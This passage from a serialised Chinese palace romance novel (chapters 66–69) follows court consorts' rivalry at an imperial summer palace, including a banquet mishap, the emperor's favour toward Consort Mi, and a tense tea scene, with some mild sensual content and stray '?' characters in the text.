徐美人微抿唇角,低低打量了翠菊一眼,翠菊是她宫里?的掌事姑姑,一荣俱荣,一损俱损,丹桂必是为她着?想。但话不能说?得太过明?白,丹桂开口不先提养育了皇嗣的杨贵嫔和杨贵嫔,反而提起了宓贵嫔,可见这宓贵嫔的特别。 她指尖无意捏了下帕子?,“可知为何?” 丹桂毕竟是在?行宫中?伺候,对宫里?的事所知甚少,她并不知为何宓贵嫔到行宫后从未侍寝,但圣驾时常去雪霁亭,可见宓贵嫔必是颇得圣眷。 她无法回答有关宓贵嫔的事,她便提起了刚诞下皇子?不久的张嫔,最要紧的,还?有一位无子?封妃,协理六宫,如今又抚养景和公主的贤妃娘娘,如今宫里?头,这三位风头最盛。 最后,丹桂极为隐晦地提了刚被赐死的王采女。她也是在?暗示主子?,皇上不会理会后宫主子?们的争宠,却要万万谨记,不能对皇嗣下手,这宫里?,没?有什么事能瞒得住那位。 听了这宫里?的形势,徐美人太阳穴忽地疼了下,她揉揉额角,早知入宫不易,想得圣宠更是不易,她不由记起了分明?有机会入宫,却莫名其?妙远离京城的建功侯府,怕是大抵得罪了皇上,才急匆匆调出了京城。 她日后在?宫中?,万万要小?心?行事。 相?比于徐美人,罗常在?住的玉兰阁,要较勤政殿远上许多,引路的宫人倒也会说?话,处处奉承着?,说?玉兰阁虽是远,虽离园子?近,圣驾时常过去赏景。这话,也就意味着?,罗常在?还?是有能见到皇上的机会。她心?知今夜皇上八成是召了徐美人侍寝,却也不心?急,毕竟才进?宫,先看看情形。 她依例打赏了宫人,寝殿内陈设都是新换的,行宫不比宫里?,她又不是徐美人,宫人就多了敷衍,挂着?帷幔未用金钩银钩,而是用了铜钩,罗常在?斜了斜眼,素来挑剔,今儿竟也忍下了,只是那铜钩挂在?床头实在?碍眼,她觑了进?来送茶水的宫人一眼,“明?儿去寻管事的大监说?说?,将这钩子?换了,自己办不好事,倘若叫人听了,倒是以为皇后娘娘没?吩咐好下人。” 上茶的宫女听得一身冷汗,心?道,管事的大监这几日都忙着?配合全公公查宝珠公主落水的事,确实疏忽了要进?宫的主子?。自家要伺候的主子?竟然敢说?到皇后娘娘身上,可见脾气不好。 罗常在?自以为脾气收敛,不想因这一句,下头的人都极为惧怕了她。她倒没?注意到这些,只是日后都要留在?宫中?了,心?里?颇有愁肠,也不知皇上何时召幸自己,在?宫里?头的女人,还?是要早早怀上皇嗣,给自己傍身得好。她才刚进?宫呢,下面?的奴才就这般怠慢她,倘若自己再不受宠,底下人岂不反了天了。 …… 至夜,各宫都等着?圣驾的动静,前头伺候的全福海也摸不清皇上今夜会去谁宫里?头,按理说?,皇上本应召幸徐美人,徐美人的祖父也算得上三朝元老,更是知进?退,有自知之明?,皇上御极一年后,就告老还?乡,不似宋老,仿似看不出皇上的嫌弃,依旧留在?朝堂上进?言,时不时劝皇上这个不行那个不对。 但皇上的心?思谁能猜得到,全福海这时候可不敢过去说?话,他?一个奴才,伺候好皇上就够了。 到了召寝的时辰,小?太监捧着?嫔妃的名册进?殿,李怀修俯身执笔,朱红点映,恰时是一副细雨桃花。 皇上少时作画,心?性正盛,曾拟虚名泊阳居士流传于民间,价值千金,而今皇上虽作画,却不似从前有兴致。 李怀修撂了笔,摩挲了两下扳指,对着?小?太监呈上的名册,点了前面?一人。 正是徐美人。 徐美人侍寝,也在?嫔妃们意料之中?。 此时听风斋尚未熄灯,白答应叹息一声,拆了发鬓的珠钗翡翠,她眉眼随了父亲,要比寻常的女子?英气三分,即便配上发饰也不显柔美。 她预料到今夜皇上会去徐美人那儿,然真正得知这信儿,还?是有些失落。 红鲤用梳子?沾湿了桂花水,为她梳发,安慰道:“时日尚久,主子?才进?宫,凭借这副美貌,定能的皇上宠爱。” 妆镜中?,女子?浓眉阔眼,鼻梁高挺悬直,嘴唇丰厚,唇珠微翘,是令人一见惊艳的美感。 白答应记起白日请安时,左右围坐的嫔妃,如同园中?的艳景,花团锦簇,她原自信自己的美貌,可到了后宫中?,也觉得自己不过如此,哪个女子?在?这个年纪,不是娇靥艳艳。 她对镜托着?腮,一脸愁苦。 相?较于玉兰阁和听风斋的平静,怡香苑上上下下,主仆皆打起了十二分的精神?,恭迎圣驾。也不是徐美人小?心?,她问过了宫中?人,不知是有意无意,怡香苑的宫人,竟没?人曾在?宫里?伺候过,都是行宫出来的奴才。管事公公给出的说?法是,行宫缺人,腾不出人手,请徐美人将就着?用,徐美人毕竟年轻,心?中?生气,也不能说?什么,她很快稳下心?神?,这是她初次侍寝,万不能出了乱子?,她神?色自若,由丹桂领着?宫人,前去迎驾。 圣驾听到怡香苑,徐美人回忆着?嬷嬷教出的规矩,屈膝福身,她低垂着?眼睫,不敢去看面?前的男人,只知道当今的身量很长,她低眼,看见男人玄金的长靴,石青色平金团龙圆领长袍,腰间坠的是一枚镂雕的麒麟黑玉,她心?头砰跳,莫名生出畏意。 她听见男人淡淡沉声,听不出情绪,“不必多礼。” 徐美人起了身,心?神?愈发收紧了。 她回忆嬷嬷教过她在?御前该有的规矩,可愈发回忆,愈发乱了手脚,她素来识记,此时却失了分寸,徐美人只能悬着?心?,跟随皇上进?到内殿。 李怀修入了内殿,撩起衣摆坐到窄榻上,宫人上了茶水,他?随手翻开案上放着?的两本书,是两本前朝国史。 他?翻开一页,里?面?还?有女子?手写的小?记,用的簪花小?楷,所记虽是囿于女子?闺阁,但笔锋精辟,已极有见解。 徐美人见皇上在?看她记得手札,端庄的脸上难得生出一丝薄红,懊恼自己忙中?出错,竟忘了将这些书收到箱中?。 她忙说?:“这是嫔妾无事胡乱的涂写之作,皇上见笑了。” 李怀修摆了摆手,“无妨。”他?捻着?扳指,淡声道:“朕鲜少见有女子?喜爱读史书。” 徐美人柔声回道:“嫔妾幼时受祖父教养,耳融目染,对史书便有了兴趣。” 提起徐老,李怀修眼神?平和许多,“徐老将你教得很好。” 这夜,虽出了茬子?,徐美人却觉得自那本书后,皇上待她的态度就很是和缓。翌日,圣驾离开不久,御前就送了好些赏赐,宫人们个个脸上洋溢着?喜气,给主子?道贺。 相?比怡香苑的热闹,昨夜别的宫中?就冷清了许多。 一早问安,徐美人刻意早去了一刻钟,不想罗常在?和白答应似是商量好了,比她还?早,她虽是早了一刻钟,好似仍是托大了般。 便让嫉妒徐美人的嫔妃拿了话柄,“妹妹倒底是初次侍寝,迟了些,也不打紧的。” 这话一落下,后面?,明?裳掀开珠帘,刚好听了这句,徐美人瞧见她,回忆昨日丹桂的一番话,此时再看宓贵嫔的眼神?颇有复杂,不由得多看两眼,她敛眼福了身子?,“嫔妾请贵嫔娘娘安。” 明?裳视线在?三人身上停留须臾,能在?这时选进?宫的嫔妃,容貌家世自是不会差,她打量一瞬,落了座,抬手着?让几人免礼。 不多时,贤妃与皇后接连入了内殿。昨夜徐美人侍寝,今日一早,皇后待徐美人难免要多嘱咐几句,又给了三人赏赐,才让众人散去。 徐美人回怡香苑与宓贵嫔有一段同路,她正要犹豫是否要询问宓贵嫔与自己同行,就见张嫔已经邀了宓贵嫔去赏花。 昨夜她就已从丹桂口中?得知,张嫔与宓贵嫔交好,倒是奇怪了,张嫔生下了皇子?,宓贵嫔又得皇上宠爱,两人居然也能深交。 回怡香苑要过一段青石板路,前几日下了路,今日路面?已干,因四周栽种青竹,青石上生了苔藓,宫人正躬着?身子?洒扫,见到过来的徐美人,屈身做礼。 徐美人由宫人扶着?,注意脚下的路面?,到岔路时,见一条路洒扫得干干净净,而自己要回怡香苑那条路,却有苔藓斑驳,尚未除干净。到仪元殿请安匆忙,也没?人注意到这些细微之处。 后面?伺候的小?宫女见机立即道:“主子?,这条路通的正是宓贵嫔的雪霁亭。”她撇撇嘴,言语不屑,“不知大监管事怎么办的事,主子?是皇上新宠,敢这么怠慢主子?,不把主子?放在?眼里?。” 那小?宫女全是为了讨好新主,才说?的这番话,主子?侍寝后,皇上就赏了这些赏赐,可见自家主子?日后定然前途无量。 她正沾沾自喜,徐美人则是听得眉头一皱,纵使?是管事的大监奉承宓贵嫔,但她初进?宫中?,合该谨言慎行,这宫人心?性无状,言语挑唆,若非是皇后娘娘指下的人,她定是不能留在?身边。 她沉下眉,提点了一句,“宓贵嫔位份在?我之上,宫人理应谨慎伺候,日后这些话莫要在?我面?前说?了。” 宫女闻言面?色惊变,慌张地跪地请罪,“主子?息怒,奴婢知道错了!” 第067章 第 67 章 这日, 皇后在清凉台摆了赏花宴,邀行宫嫔妃同聚。 新人进宫的九日,有?两日都是徐美人侍寝, 又因徐美人母家得力, 六宫嫔妃见了,心里头再泛酸嫉恨, 面上也得是客客气气,至少?没生出?事端。 如今徐美人风头正盛,其余进宫的罗白二?人至今还未见过圣颜, 二?人与?徐美人见面时的情形都颇为微妙。小叙几句,便各自落了席位。 徐美人目光不?禁落向坐在下首的白答应身上,皇上至今未召幸过白答应,听白答应言谈,似是也从未见过皇上, 三人中?, 她自信因家世得皇上宠幸, 可论起容貌,较之白答应稍有?逊色。 她并未将罗常在放在眼中?,听闻前日罗常在因不?满宫人奉上的是陈年旧茶, 唤了管事大监, 最?后还闹到了皇后娘娘那儿,末了以皇后娘娘罚那管事半年月例为终。 后宫之事都是皇后娘娘掌管,罗常在敢把?动静闹得这么大,岂不?是在质疑皇后娘娘主持六宫,也不?知?有?没有?脑子。她不?认为皇上那般看重规矩的人, 会?宠幸这样的女子。故而,她将注意放到了白答应身上, 白答应性子柔软,倒与?英气的样貌并不?相符,也因此,让她恰到好处地多了几分柔雅。白家送这样的女儿进宫,可见是花了心思。 不?过比之罗白二?人,最?让徐美人忌惮的,还是那位宓贵嫔,尚未有?子,就封到贵嫔之位。她也不?曾听闻,虞家在前朝有?何大的功绩,如此深受圣眷,更可见了宓贵嫔的本事,徐美人暗暗记在心里。 席面开始,新人进宫,众嫔妃们将话头引到三人身上,又不?知?是谁看见明裳坠着的玉珏,含笑说了一句,“贵嫔娘娘这枚玉珏剔透玲珑,成色甚好,嫔妾有?幸从皇上那见到的极为相似,不?知?是不?是皇上所赏。” 清凉台中?的众人视线便转到了明裳身上,明裳浅浅抬眼,“确实是皇上随手赏赐的。” 听闻是随手所赏,旁人也就没放到心上了,毕竟玉珏在皇宫中?又不?是什么稀罕物件。 众嫔妃听过戏,有?船舫遥遥行近清凉台,宫人引着嫔妃主子登船。 皇后与?贤妃先后上了船舫,就在这时,忽地不?知?从哪听到一道?野猫的叫声,走在后头的徐美人不?等回神,眼前闪过黑影,正朝她扑来,徐美人惊叫一声,连连往后退去?,人群拥挤推搡,匆匆远离躲避,她下意识扯住了一人腰间的挂坠,紧接着便听见女子的惊呼声,她自顾不?暇,来不?及多想?,脚下猛地踉跄,也失了平衡摔倒在地,她手臂磕得生疼,惊魂未定间,听后面宫人喊道?:“主子!” 徐美人后知?后觉地回头,却见宓贵嫔面容失色地摔坐在台阶沿儿上,鬓发微散,围着的宫人七手八脚地要扶她起来。徐美人顾不?得手臂的疼痛,蓦地低眼,手心摊开,里面赫然是宓贵嫔那枚玉珏。 便是在这时候,传进一道?人声,“皇上驾到——” 徐美人面色骤变,已经有?人先反应过来,忙退开身子,朝那侧福礼,徐美人由翠菊搀扶,小心翼翼地避开受伤的手臂起身。明裳只是向后跌了一下,看起来狼狈些,摔得并不?重,她来不?及多想?,随之福身。 这桩意外实在突然,更没人想?到,圣驾会?忽然到这,刚进宫的罗白二?人尚未侍奉过圣驾,都有?些无措。但李怀修根本没注意到那两人,他?本是随意走到此处,听有?些杂乱,才过来看看,结果就见那女子跌坐在地的情形。 他?眸色倏然沉了下来,落了句免礼,未看众人一眼,大步流星地走过去?扶住那女子。 明裳错愕地抬起眼睫,手臂先被人稳稳扶住,男人手掌宽厚,指骨修长,黑目在她脸上盯了一瞬,见她鬓发间珠钗摇摇欲坠,眉峰有?些冷,沉声问她,“怎么回事?” 旁人都衣着光鲜,唯独这人这般狼狈,李怀修先是想?到是有?人欺负了这女子,他?面色生出?寒意。 明裳迷茫地摇了摇头,“是方才有?只野猫……” 话尚未说完,皇后与?贤妃终于从游船上下来,那游船已经划得远了,回来要花费些时候,方才皇后与?贤妃都看清了岸上的情形,也看到皇上眼中?没有?旁人,先去?扶起了宓贵嫔。贤妃不?着痕迹地往皇后脸上扫了眼,皇后急步上前,面容不?变,福了礼,自责道?:“今日臣妾邀了众位妹妹赏景,是臣妾之错,未看顾好宓妹妹。” 一众嫔妃都噤若寒蝉,等待皇上的态度,李怀修并未拂了皇后的脸面,“与?皇后无关。” 此时,徐美人忍不住心慌,扶着翠菊的手臂,脸色发白,一瘸一拐地走近,她也是方才福礼时,才察觉,自己不?止摔到了手臂,膝盖也磕了一下,她疼得冷汗都流了下来,但她不?敢托大,她跪下身子解释,“是嫔妾方才被野猫吓到,才不慎推伤了贵嫔娘娘。” 她身上的伤远重于明裳,原以为自己这番模样出现在男人面前,小心翼翼的解释,也会?得君王几许怜惜,然并不?如她所想?,李怀修只拧眉扫了她一眼,目光又转回到怀中的女子脸上,是在问她,徐美人所说是否属实。 明裳看不?出?徐美人是否有?意为之,毕竟那野猫忽然朝徐美人扑过来,任谁都会?做出?那般反应。 她想?了想?,如实点了点头。李怀修这才让徐美人起身,见她伤得重,又吩咐宫人去?传太医,给两人诊治。 好好的赏花宴就此散去?,也没人再有那个赏景的心思,圣驾过来,皇上看也不?看旁人,眼里都是宓贵嫔,就是徐美人这般新宠,伤得那样重,竟也未分得皇上的一分怜爱。 这番,可真?是叫六宫看清了眼下宫里的情形。 徐美人回了怡香苑,挥退了伺候的宫人,没忍住哭出?了声,倒底是年纪轻,经不?住事,原以为皇上已有?些宠爱自己,可相比宓贵嫔,才知?自己的恩宠,有?多不?值一提。 那厢明裳则是乘了銮驾回的雪霁亭,正逢前朝有?朝臣求见,李怀修没只留了太医,没再继续陪她。 入夜时分,李怀修才分出?心神,来看这女子。明裳伤在臀侧,看着青紫骇人,实则并没多严重,她到殿外迎驾,李怀修先将人扶起来,视线在面前的女子身上打量过,“白日太医可看过了,伤到哪儿了,可有?大碍?” 伤的地方明裳不?好意思在大庭广众之下说出?口,只红着脸囫囵摇头,“嫔妾无事,皇上不?必担忧。” 李怀修见她衣袂飘飘,气色红润,确实不?像伤重的模样,遂安下心,却是直到安置时,他?才知?这女子为何白日在他?跟前吞吞吐吐。 他?觑着女子雪臀布着的青紫,又心疼又好笑,“你倒是会?挑地方摔。” 那处叫男人盯着,明裳捂紧通红的脸,埋到引枕里,羞赧嗔道?:“皇上别笑了,嫔妾都要羞死了!” 李怀修本也只是要看看她伤的地方,不?想?看着看着,忍不?住生出?了别的念头,他?目色渐暗,喉结滚了下,强迫自己转过脸,随手捡了衾被将那女子兜头遮盖得严严实实。 偏生明裳一无所觉,还在娇声抱怨将她盖得这么严实,都要闷死了。 那柔柔软软的声音缠着他?,直叫李怀修太阳穴突突作疼,他?黑着脸,忍不?住咬牙斥了一句,“闭嘴!” 明裳不?明所以,她又做错什么了,又这般凶她。 她撇撇嘴,兀自将衾被拉下来,她侧过身子,娇声埋怨,“今日也不?知?怎的,那么多人,偏生嫔妾倒霉。” 她随口的抱怨,却让李怀修敛了心思,侧眸看她,“徐美人推你,是否有?意为之?” 明裳对上男人的眼,轻摇了摇头,诚实地说:“嫔妾不?知?道?。” 她没往徐美人身上泼脏水,也没替徐美人澄清,毕竟,她本就不?清楚,徐美人是不?是故意的。其实,她更偏向于,能初次进宫就侍寝两回的人,不?会?那么蠢笨,用这般明目张胆的法子对付她。更何况,徐美人才进宫,就针对于她,是否太心急了些。 李怀修丹凤眼微微眯起,指骨轻敲了两下膝盖,没再揪着这件事,仿似真?的是随口一问。 他?再次抬眸间,那女子因身子乱动,雪肤再次入目,李怀修只觉汽血骤然上氵甬,琐碎扰心的事悉数抛去?了脑后。 …… 当夜,雪霁亭叫了回水,明裳伏在男人怀中?,纤长的睫毛挂着欲掉不?掉的泪珠子,红唇艳艳,一张脸蛋含着春色,千娇百媚。 她不?舒服地动了两下身子,被李怀修不?耐烦地按住,明裳哼哼地推了把?男人胸怀,用力瞪了下眸子,“皇上不?是说,嫔妾这时候还不?能侍寝嘛!” 李怀修本是不?耐她动来动去?,闻言,再看 向怀中?那人红艳艳的唇珠时,屈指勾了勾鼻骨,居然有?些心虚,他?自诩定力非常,在这女子面前,竟是没再忍住。 他?轻咳了声,把?怀中?的温香软玉揽紧,揉了两把?女子的腰窝,难得耐下性子沉声哄她,“那游医也与?朕说过,用药期间有?一两回房事并无大碍。” 明裳久不?侍寝,本就承不?住,又受着伤,现在哪哪都不?舒坦,哼哼唧唧道?,“左右都是您说给嫔妾,嫔妾哪里知?道?。” 李怀修手掌拍了拍那把?细腰,顺着她的性子,“你不?是早相中?了朕批折子那支湖笔,待回了宫,朕让全福海给你送去?。” 明裳不?过是觉得那支笔样式精致,摆着好看,才不?愿习字。讨要一回,男人当成宝儿似的不?给她,她早就不?在意了。 她撅嘴哼了声,不?满这点儿小恩小惠。 李怀修见着女子依旧不?搭理他?,语气“啧啧”,那只湖笔是桐华山劈出?的璞玉,千金难买,宋文进那个老?东西眼馋多少?回了,他?都没给,她竟是不?屑一顾。 他?忍了忍,又哄道?,“你入宫一年余,可想?念你母亲了?” 明裳耳朵动了动。 李怀修这才发觉,这女子这对小耳朵竟还会?动,他?没忍住,捻了捻那只小巧的耳珠,“待回宫后,朕准你母亲进宫探望,如何?” 要知?晓,妃位之上才可请示皇上,求见双亲。而她不?过是贵嫔之位,明裳蓦地将脸蛋转过来,似是怕他?会?反悔一般,“皇上金口玉言!” 李怀修勾唇,“朕说出?的话,何时反悔?” 明裳得寸进尺,蹭了蹭男人心窝,仰着脸,娇滴滴的,“那皇上方才许给嫔妾的湖笔,也要记得拿给嫔妾。” 李怀修嘴角倏地拉平,眼皮子抽了抽,指腹钳住明裳的下颌来回使?劲儿晃道?,“贪心的东西!” 第068章 第 68 章 行宫内的?嫔妃很快知晓, 今夜皇上歇在了雪霁亭,宓贵嫔白日不过跌了一跤,听说也?没什么大碍, 皇上竟忙完政务就?去看望了宓贵嫔, 可见虽有新人进宫,但宓贵嫔这恩宠却是没少一星半点。 翌日问安, 众人视线在宓贵嫔和徐美人之间?瞄来?看去,都有些好奇,昨夜宓贵嫔侍寝, 可有向皇上告徐美人一状,毕竟这可是让徐美人失宠的?好机会。宓贵嫔当着众人的?面不曾说,焉知私下不会与皇上吹耳边风。 殿内问安的?嫔妃各怀着心思?,白答应进宫后日日要起大早问安,每每这时眼皮子?几近要发粘打架, 她耷拉着眼皮子?, 遮掩不住困意?, 眼见额头昏昏沉沉快到磕到手边的?凭几,旁边红鲤神色紧张,急忙碰了下白答应的?手臂, 白答应陡然惊醒, 蓦地坐直了身子?,这番,倒是引了殿内嫔妃们的?注意?。 贤妃掩唇浅浅一笑,“皇后娘娘,白妹妹初到宫里, 怕是还不适应呢!” 其余嫔妃瞧着白答应睡意?朦胧的?惺忪模样,也?忍俊不禁。 白答应羞窘至极, 局促地站起身子?,扯了下手中的?娟帕,红着脸屈身,“嫔妾失仪,皇后娘娘恕罪。” “无妨。”皇后和声笑道?,“春乏秋困,暑热要过去,困倦些也?是难免。” 春困秋乏,殿内的?嫔妃闻言,也?忽然意?识到,暑热即将?过去,意?味着下月就?要回宫了。 …… 昨夜没歇几个时辰,今儿一早问安,明裳也?困乏得紧,回雪霁亭,除了衣裳,正要去寝殿睡个回笼觉,便听宫人传话,徐美人在外求见。 明裳料想徐美人大抵是为昨日的?事而来?,她闭门不见,反而给人落下话柄。 思?来?想去,明裳又吩咐宫人请徐美人进来?,重新梳了妆发,换了衣裳,到外殿见人。 徐美人进宫不过半月,除却每日到皇后娘娘那儿问安,还从未去过别的?嫔妃宫所?。 给她引路的?小太监曾说她住的?那处怡香苑收拾得极好,各种摆置都是新添的?,徐美人原也?满意?自己的?宫所?,如今再瞧见宓贵嫔住的?这处,才知自己何止看低了宓贵嫔,不过行宫的?寝殿就?装饰得如此精致,可见宓贵嫔在宫里的?住处该有多富丽华美,而且,她隐隐看出,雪霁亭的?许多摆设不似内务府所?造,倒像极了御前的?东西?。 她饮着上好的?甘露茶饮,愈发心不在焉,不是滋味。 明裳从寝殿出来?,徐美人心绪已过了千百回。 她撂下茶盏起身,不得不重新审视面前的?女子?。 她福了身子?,柔声道?:“嫔妾今日过来?,是来?送还贵嫔娘娘的?那枚玉珏。昨日之事,都是嫔妾的?过错,这是嫔妾兄长远洋回来?带的?一对儿手镯,成色尚好,还望贵嫔娘娘不要嫌弃。” 徐美人身边伺候的?宫人将?玉珏交给月香,又打开了盛着玉镯的?妆匣,那对儿玉镯幽绿透亮,识玉之人一看就?知这镯子?的?稀罕,明裳略懂一二,见徐美人竟舍得下如此大的?手笔,不禁诧异,却是没有推辞,叫绘如收了,又道?去把?那只宝玉钗子?取来?,送给徐美人做还礼。 那只宝玉钗子?也?不是俗物,徐美人不好收下,明裳微笑着把?茶饮推到她跟前,“你要是不收,我如何好收下你那对儿千金难买的?玉镯?” 话落又问,“昨儿瞧徐美人摔得重,如何不多在寝殿里歇歇,皇后娘娘宽仁,也?定会准允。” 不过是客套的?话罢了,徐美人回了两句,她手臂摔得重,一举一动间?仍有痛意?,但她坚持着仍是去了问安。 她只道?不妨事,便要翠菊收了,抬眸间?,不经意?见面前女子?脖颈下隐约露出的?红印,用脂粉敷着,远时并看不出,因此时两人相?对,她又换了衣裳,磨蹭之下,难免又将?那道?印子?显露出来?。 徐美人神色微怔,不由看向面前的?女子?,见宓贵嫔神色如常,并未察觉自己的?不妥,她不由生出些异样之感?。 昨夜宓贵嫔侍寝,这样的?印子?,除却那位,总不能是自己磕碰出来?的?。徐美人不禁失了下神,她侍寝之时,原以为那位恪守规矩,除却该有的?为皇室子?嗣,从不逾矩,可眼前这一幕,才让她知晓,那位只是待她并不逾矩。 不知为何,徐美人仿似在宓贵嫔身上,窥探到了那位不为人知的?另一面。 她慌忙地避开眼,作似饮了口茶水,遮掩住难堪之色。 明裳发觉了她的?异样,不由得问出声,“徐美人可是身子?不适?” 徐美人动作一僵,勉强撑出笑脸,“昨日之事,贵嫔娘娘不怪嫔妾就?好,嫔妾好似有些头晕不舒服,想回宫歇歇,就?不打扰贵嫔娘娘了。” 明裳细眉轻蹙,并未多问,吩咐宫人送徐美人出雪霁亭。 隔着小窗,她明显地看出,徐美人越走越快,步子?乱极。 月香不由得奇怪问道:“徐美人这是怎么了,好似咱们雪霁亭有什么洪水猛兽,要吃了她似的?。” …… 徐美人急急忙忙回了怡香苑,跟在后头的?翠菊亦是不明所?以,她见主子?魂不守舍地掀帘进到内殿,担忧地倒了盏温水,放到主子?手边,低声去问,“主子?可是觉得宓贵嫔有何不妥?” 除此之外,她想不出主子?忽然变了脸色的?缘由。 徐美人攥紧了手心,凝着腕间?御前赐下的?珊瑚手串,神色复杂。 …… 仪元殿 皇后欣赏着宝珠给自己做的?一面牡丹花绢,听闻徐美人去了雪霁亭,移了目光,轻轻笑道?:“徐美人是个聪明的?。” 她扶着文竹的?手起了身,缓缓向案后走去,文竹轻声道?:“新人入宫有半月,奴婢看皇上待徐美人的?态度要比余下的?两位主子?好。” 皇后眉梢挑起,挽起衣袖,执笔作书,“好与不好,全然是因徐美人有个好的?家世,那两位还未到过御前,怎知那位会不喜欢。” 文竹低下头,“是奴婢愚钝。” 提起罗常在和白答应,皇后记起这日请安时,迷糊得要在众人前睡过去的?女子?,她脸上浮了丝笑意?,也?是个妙人。 既进了宫,全凭她们自己做日后的?造化了。 后宫里的?女子?,家世再好都无所?谓,最要紧的?,是入那位的?眼。譬如受宠一年的?宓贵嫔,六宫再拈酸嫉妒,宫人们都得毕恭毕敬的?伺候着,谁敢得罪了去。 皇后撂了笔,拿起写好的?字仔细端详,“这天儿是一日比一日的?凉了,待回了宫,可还有让本宫的?头疼的?。” 如今这宫里又多出三?个嫔妃,不知要出多少热闹。 便是在这时候,殿外宫人进来?通禀,说是昨儿那只发了疯的?猫捉到了,问皇后娘娘如何处置。 皇后没将?这事儿放在心上,“一只野猫,死了便死了,莫要让它再出来?闹出事端。” 那宫人听得心口一悸,恭敬地应声退下。 …… 昨儿又下了一日的?雨,晨间?雨水大,皇后免了行宫嫔妃的?问安,到后午,雨水稀稀拉拉地打着芭蕉叶,雨势无声地停了下来?。 明裳推开小窗,拂面一阵清爽的?凉风。 适才记起南苑的?一池子?荷花,雨后正合适去赏景,遂吩咐人为自己披了衣裳,赶去南苑的?荷花池。 雪霁亭到南苑荷花池可要绕远路,行了有小半个时辰,才见长亭一角,而刚下过雨的?六角长亭,里面坐了三?人围炉煮茶,好生雅趣。 待明裳看清亭中的?人是谁,目露诧异,顿时兴致缺缺,就?不愿过去了。 不巧,里面的?人却是一眼看见了她。 “宓贵嫔怎的?也?清闲着到这来?了?” 贤妃面容柔柔,起了身子?,隔着一池子?荡漾的?碧波,向她看来?,随后,亭中两人的?视线也?落到她身上。 徐美人见到明裳,不知为何,下意?识收紧手心,不动声色地打量了那位一眼,但那位脸色平淡,只是淡淡掀了掀眼皮,叫她看不出什么。 她随着贤妃起了身子?。 贤妃是看热闹不嫌事大,新人旧人聚在一处,才有的?看头。更何况,她在起身之时,也?是看了皇上眼色,毕竟,若非皇上朝外掠了眼,她也?注意?不到,即将?转身要走的?宓贵嫔。 她把?人喊住,也?是受了皇上的?意?思?。 明裳进到六角亭,对二人福了礼,徐美人屈身做了礼,李怀修让明裳起来?落座,随口问她:“怎么到这儿来?了?” 极为随意?的?一问,因贤妃和徐美人都在,她总不好逾矩,遂规规矩矩地答:“嫔妾想起南苑荷花池中荷花摇曳多姿,想趁着刚下了雨,过来?瞧瞧。” 贤妃笑道?:“宓贵嫔好雅兴,徐美人适才也?是陪皇上赏雨,本宫才正巧遇上。” 贤妃这句意?味深长,徐美人立即接道?:“雨打莲花,令嫔妾心驰神往。” 实则,原是圣驾先到南苑,徐美人不过是因前些日子?的?愁容,到南苑闲逛,才遇见了圣驾,在亭中避雨时,又遇见了贤妃。 两人谁都未向明裳解释清明,贤妃是有意?为之,要看宓贵嫔作何反应,徐美人则是藏了私心,宓贵嫔受宠,她尚有刚入宫的?心气,不愿落宓贵嫔下风。 二人的?心思?尽数看在李怀修眼中,他揉了揉额角,已有些厌烦,他最不耐的?就?是听他的?后宫争来?斗去,也?没心思?为雨后景色上。 伺候的?全福海见皇上已经开始面露淡色,抹了把?额头虚汗,皇上原本想好好的?赏景,眼下都叫后宫的?主子?们搅和了,也?不知这三?位主子?可看出了皇上的?脸色,怎的?还不和和气气地坐下喝茶,还越说越起劲了。 贤妃自是看出了皇上颇不耐烦,才住了声,明裳侍奉最久,也?能看出男人的?不虞,徐美人却是看不出,但见贤妃与宓贵嫔都不说话,遂也?噤声。 亭中的?气氛颇有微妙。 贤妃起了身,慢条斯理道?:“皇上,雨既然停了,臣妾还有这月的?账册未看,先回临华殿了。” 李怀修阖着眼,轻“嗯”了声。 得了准允,贤妃临走前,若有似无地在明裳和徐美人之间?打量了一眼,可惜了,若非皇上已经不悦,她倒是想看看,宓贵嫔与徐美人倒底哪个更入那位的?眼。 贤妃一走,徐美人居然有些不知如何自处,她挽袖倒了盏热茶,呈到男人手边,端的?是行云流水,柔婉雅致。 但凡留心,都看得出,徐美人这番捧茶的?动作,也?是下了苦功夫去练。她手臂的?伤还未好利索,也?难为忍着疼,在这位面前展现茶艺。可惜,落花有意?,流水无情。明裳不着痕迹地抬了瞬眸子?,这位神色淡淡,也?并未将?心思?放在徐美人的?动作上。 徐美人并不自知,她眼眸浅浅道?:“那日嫔妾被野猫吓到,推伤了贵嫔娘娘,幸而贵嫔娘娘性子?好,不与嫔妾计较,得知太医看过贵嫔娘娘的?伤,确无大碍,嫔妾才安下心,否则,嫔妾当真要万死难辞其咎。” 李怀修点头,“你端庄持重,既是无心,不必耿耿于怀。” 闻言,徐美人却僵住了脸色,既是端庄持重,又怎会推搡到宓贵嫔,可,皇上也?说了,她是无心。 这番话,究竟是在说她无心,还是让她在宫里要端庄持重,不该如那日般失了仪态? 徐美人原以为自己心性聪慧,在家中一众姐妹中能独独讨得外祖喜爱,直至侍寝那夜,她都觉得没有什么事是她做不到的?,此时她才忽然惊觉,自己从未看透眼前这位,倘若她此前还觉得面前这位待她已是极好,给她恩宠,送她赏赐,现在她才知晓,自己是何等的?天真。 徐美人不知该作何神态,低了眼神,应声说是。 而那厢还在捧着热茶的?明裳,更是无心再赏莲花池的?雨后景色,她听得出,皇上这番话,也?是对徐美人的?敲打。不禁撇撇嘴,这位可真是够冷情冷性的?,好歹徐美人也?是入宫的?新人,侍寝过两回,原以为徐美人颇有特殊,眼下看来?,这位好似竟也?没有几分放在心上。 这桩茶水吃得徐美人嘴里发苦,她没再停留多久,也?起身告退。 如此一来?,亭中就?只剩下了明裳。 雨露的?荷花轻飘飘地随风摇动,明裳学着徐美人的?动作摇茶入茶,倒也?是行云流水,有模有样,她没提徐美人,也?不曾说些别的?,亲自斟了茶水,捧到男人手边,“嫔妾昨儿新学了一支舞,正好四下无人,不如嫔妾跳给皇上看?” 那女子?歪着脸,眸如星雪晶亮。 倒像是有意?在哄他开心。 李怀修移开眼,唇角极轻地牵了下,须臾,目光又移回了女子?脸上,抬了抬手,让她去跳。 今日因前朝的?事,他确实有些烦心,偏生他这后宫也?一刻不曾消停。 第069章 第 69 章 那日?亭中的事?不是秘密, 贤妃与徐美人先后离开,亭中独独留下了宓贵嫔,听闻宓贵嫔一舞让皇上龙心大悦, 便是回雪霁亭, 都是乘着?圣驾,叫六宫中人万分艳羡, 只恨自己没有宓贵嫔那些本事?,得不到皇上欢心。 徐美人近日?除却问安,少有出怡香苑。因那日?的事?渐渐传开, 近日?借着?赏花由头的嫔妃渐渐多了,无不是想到南苑碰碰运气,得见圣驾,却没那日?的好运,次次败兴而归。 南苑荷花池中的莲蓬开得多, 